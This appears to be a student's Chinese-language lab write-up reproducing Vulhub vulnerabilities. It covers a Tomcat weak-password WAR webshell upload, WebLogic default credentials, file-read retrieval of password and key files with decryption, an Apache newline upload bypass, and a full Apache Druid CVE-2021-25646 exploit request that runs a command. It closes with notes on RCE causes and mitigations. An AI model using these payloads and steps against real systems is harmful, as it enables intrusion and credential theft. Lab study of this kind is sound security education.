第八次作业

一、在vps安装docker和docker-compose

FinalShell连接aliyun服务器后,输入sudo apt install docker.io
命令安装docker。
执行更新操作apt-get update
然后安装docker-compose命令sudo apt install docker-compose
以下是安装完成截图:
在这里插入图片描述

为了提升效率,我换了下docker镜像加速源,输入命令vi /etc/docker/daemon.json,将里面的文件内容改成以下内容

{
"registry-mirrors": [
        "https://docker.1panel.live", 
        "https://hub.rat.dev/", 
        "https://docker.chenby.cn", 
        "https://docker.m.daocloud.io",
        "https://docker.anyhub.us.kg",
        "https://dockerhub.jobcher.com",
        "https://dockerhub.icu"
    ]
}

(第一条是阿里云加速源,直接去阿里云服务器管理粘贴的):
在这里插入图片描述
添加之后保存退出,输入systemctl restart docker重启docker。

遇到的问题:在之后搭靶场时我疑似遇到了docker和docker-compose版本不兼容的问题,于是我将同学的docker-compose替换了vps里的docker-compose
输入命令cd /usr/local/bin转到文件夹
在这里插入图片描述
注意这里还要修改一下权限,不然报错
在这里插入图片描述
这是最终的版本:
在这里插入图片描述

二、vulhub中的漏洞复现以及漏洞成因

1.tomcat 弱口令/后台文件上传getshell

1.进入tomcat8目录,输入docker-compose up -d
启动tomcat,docker ps可以查看容器信息,记下端口是8080

注:这里要到云服务器的管理控制台上找到安全组/管理规则添加8080端口放行,这样就能在浏览器输入“云服务器公网IP:8080”进入tomcat

点击“Host Manager”,输入弱口令账号和密码(均为tomcat)登录,即可成功登录在这里插入图片描述
成功进入登录界面
在这里插入图片描述

2.可以看到此处上传文件的地方
在这里插入图片描述
使用冰蝎的.jsp木马文件,默认密码是rebeyond
在这里插入图片描述
在冰蝎里的server文件打开cmd,输入命令将文件压缩成war,并上传

jar -cvf shell.war shell.jsp

在这里插入图片描述
上传成功
在这里插入图片描述

使用冰蝎连接
在这里插入图片描述
漏洞复现成功
在这里插入图片描述
漏洞成因:Tomcat manager 登录界面存在弱口令漏洞,登录成功后有上传点,压缩包 xxx.war的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell

2.weblogic 弱口令/任意文件读取

1.弱口令漏洞

漏洞成因:WebLogic服务器在搭建后,管理员未修改后台的默认密码或设置的密码过于简单,导致攻击者可以通过暴力破解、字典攻击等方式轻易获取登录权限,进而对服务器进行进一步的控制和攻击。

漏洞复现:
搭好靶场查看端口7001
在这里插入图片描述
ip+端口/console访问登陆页面
在这里插入图片描述
使用默认口令weblogic/Oracle@123登录,可以直接登录管理后台
在这里插入图片描述

2.任意文件读取漏洞
漏洞成因:服务器在处理用户输入时,没有对输入内容进行充分的限制和过滤,导致攻击者可以通过构造特殊的请求,读取服务器上任意文件的内容。

漏洞复现:前台存在任意文件读取漏洞,在不知道登录密码的情况下可通过此漏洞读取weblogic加密后的密码文件,如使用如下URL读取/etc/passwd:

http://your-ip:7001/hello/file.jsp?path= /etc/passwd

在这里插入图片描述
下载之后可以看到敏感的密码信息:

在这里插入图片描述
成功下载file.htm,因此存在任意文件下载。访问“http:// ip:7001/hello/file.jsp?path=/security/SerializedSystemIni.dat”读取密钥文件,同时使用burpsuite抓包

注:● weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
● SerializedSystemIni.dat是一个二进制文件,用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,就是密钥,右键copy to file就可以保存成一个文件
在这里插入图片描述
发送给重放器,选择乱码部分,右键选择“Copy to file”,选择存储路径和文件名
在这里插入图片描述
在这里插入图片描述
抓包http://ip:7001/hello/file.jsp?path=config/config.xml
在这里插入图片描述
这里即为加密后的管理员密码。
在这里插入图片描述
使用vulhub这个环境下自带的decrypt目录下的weblogic_decrypt.jar,解密密文,找到weblogic的解密工具的路径,打开cmd输入“java -jar weblogic_decrypt.jar”启动工具。
在这里插入图片描述
输入密钥文件的路径和加密的密码,解密后是“Oracle@123”
在这里插入图片描述

3.apache 换行解析/druid RCE

1.换行解析
漏洞成因:程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。

漏洞复现:
到本项目的路径“vulhub/httpd/CVE-2017-15715”下启动服务
在这里插入图片描述
输入IP+端口打开网页
在这里插入图片描述
上传文件10.php,打开浏览器代理
在这里插入图片描述
打开burpsuite拦截抓包
在这里插入图片描述此时我们抓取上传文件包,转到Hex,在文件名后添加一个\x0A

在这里插入图片描述然后发送,可以看到没有bad file的提示,说明文件上传成功

在这里插入图片描述
访问http://ip:8080/10.php%0A得到phpinfo()信息。
在这里插入图片描述
2.CVE-2021-25646(druid RCE)
漏洞成因:Apache Druid RCE(远程代码执行漏洞):Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中对用户高度信任,未对请求包进行过滤限制,因此经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

漏洞复现:
搭建环境的时候把我vps跑炸了还给我阿里云账号冻结了…
在这里插入图片描述
于是只能用同学搭的环境”http://10.17.179.169:8888/unified-console.html”
在这里插入图片描述
点击load data
在这里插入图片描述
依次填入(Base directory)quickstart/tutorial/(File filter)wikiticker-2015-09-12-sampled.json.gz,点击“Apply”、“Next:Parse data”,开始抓包
在这里插入图片描述
开启浏览器代理,将抓到的包发送到重放器,修改后点击“Sent”
在这里插入图片描述
将包覆盖成下面的内容再发送(修改.exec(‘ping -c 4 xxxx.dnslog.cn’)})的内容可执行不同命令):

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

在这里插入图片描述

三、RCE漏洞的原理和利用条件及解决方案

1、RCE漏洞的原理
RCE(远程代码执行)漏洞是一种安全漏洞,它允许攻击者通过Web端或客户端提交恶意构造的代码或命令,由于服务器端没有对这些输入进行充分的过滤或存在逻辑漏洞,导致这些恶意代码或命令在服务器端执行。

接口设计不当:服务器应用在设计时,为了提供某些功能(如文件操作、系统监控等),需要向用户开放远程命令或代码执行的接口。如果这些接口没有对用户输入进行严格的验证和过滤,就可能被攻击者利用。
代码执行函数的使用:服务器端代码中使用了能够执行系统命令或外部代码的函数,如system(), exec(), shell_exec(), eval()等,并且这些函数的参数没有得到有效控制或过滤,使得攻击者可以通过精心构造的输入来执行任意命令或代码。
反射和动态调用:在一些复杂的系统中,通过反射机制或动态调用方式执行代码也可能引入RCE漏洞。如果系统没有对这些机制进行适当的安全控制,攻击者就可能利用这些机制执行恶意代码。

2、RCE漏洞的利用条件
RCE漏洞的利用通常需要满足以下条件:
存在可执行的命令或代码接口:服务器应用提供了能够执行系统命令或外部代码的接口。
输入可控:攻击者能够控制接口的参数或输入数据。
过滤不严或存在逻辑漏洞:服务器端对输入数据的过滤不严或存在逻辑漏洞,使得攻击者能够绕过过滤机制。

3、RCE漏洞的解决方案
针对RCE漏洞,可以采取以下解决方案来降低风险:
严格输入验证:对所有外部输入进行严格的验证和过滤,确保输入数据符合预期格式和范围。对于需要执行系统命令或外部代码的接口,应尽量避免使用,或采用更加安全的替代方案。
限制执行权限:尽可能降低执行系统命令或外部代码的权限,确保即使存在漏洞,攻击者也无法获得过高的权限。
使用安全函数:尽量避免使用eval(), system(), exec()等能够执行系统命令或外部代码的函数。如果必须使用这些函数,应确保对其参数进行严格的验证和过滤。
更新和补丁:及时更新服务器应用和相关组件,以修复已知的安全漏洞。同时,关注行业内的安全动态,及时应用安全补丁。
安全配置:合理配置服务器和应用的安全参数,如禁用不必要的服务和端口、设置强密码和访问控制等。
代码审计:定期对服务器应用进行代码审计,检查是否存在潜在的安全漏洞。特别是关注那些能够执行系统命令或外部代码的代码段。
监控和日志:建立完善的监控和日志系统,及时发现并响应潜在的攻击行为。通过日志分析,可以追溯攻击者的行为轨迹,为后续的应急响应和漏洞修复提供依据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值